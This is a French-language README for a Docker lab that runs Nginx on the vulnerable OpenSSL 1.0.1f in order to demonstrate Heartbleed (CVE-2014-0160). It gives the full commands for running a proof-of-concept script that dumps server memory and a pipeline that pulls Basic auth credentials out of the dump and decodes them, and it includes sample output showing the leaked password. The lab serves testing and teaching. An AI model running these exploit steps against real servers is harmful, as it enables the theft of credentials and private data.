
Dockerfile for testing CVE-2014-0160 Heartbleed exploitation.
Ce dépôt contient le Dockerfile de Nginx avec la version vulnérable d'OpenSSL (1.0.1f) pour tester la vulnérabilité CVE-2014-0160 Heartbleed.
Installer Docker
apt-get install -y dockerTélécharger depuis le registre Docker Hub public l'image de base Debian :
docker pull debian:latest
Construire l'image à partir du Dockerfile : docker build -t heartbleed_nginx_img .
docker run -i -t -p 1500:443 heartbleed_nginx_img
Téléchargez le script Python Heartbleed-poc (À des fins de test uniquement !). Il s'agit d'une version modifiée à l'origine par Jared Stafford [email protected]. Merci à SensePost pour celui-ci.
Ouvrez deux nouveaux onglets dans votre terminal actuel et exécutez :
Premier onglet (Génération de 100 requêtes GET en utilisant l'authentification HTTP Basic avec la commande curl) :
for loop in {0..100..1}; do curl -X GET -s -i -k -u admin:myP@ssword0MG https://127.0.0.1:1500| grep -E "200"; done
HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK snipp...
Deuxième onglet (Génération de 100 requêtes Heartbeat (-n 100) et écriture du dump mémoire dans le fichier "dump.bin", puis récupération du résultat depuis le champ "Authorization" du dump mémoire et enfin décodage de la chaîne Base64 résultante en texte clair ^^) :
python heartbleed-poc.py -f dump.bin -q -n 100 -p 1500 127.0.0.1 && grep -a "^Authorization:" dump.bin | head -n1 | awk -F " " '{print $3}' | tr -d '\n\r' | base64 --decode && echo
WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 925 ... received message: type = 22, ver = 0302, length = 331 ... received message: type = 22, ver = 0302, length = 4 ... received message: type = 24, ver = 0302, length = 16384 WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! snipp... admin:myP@ssword0MG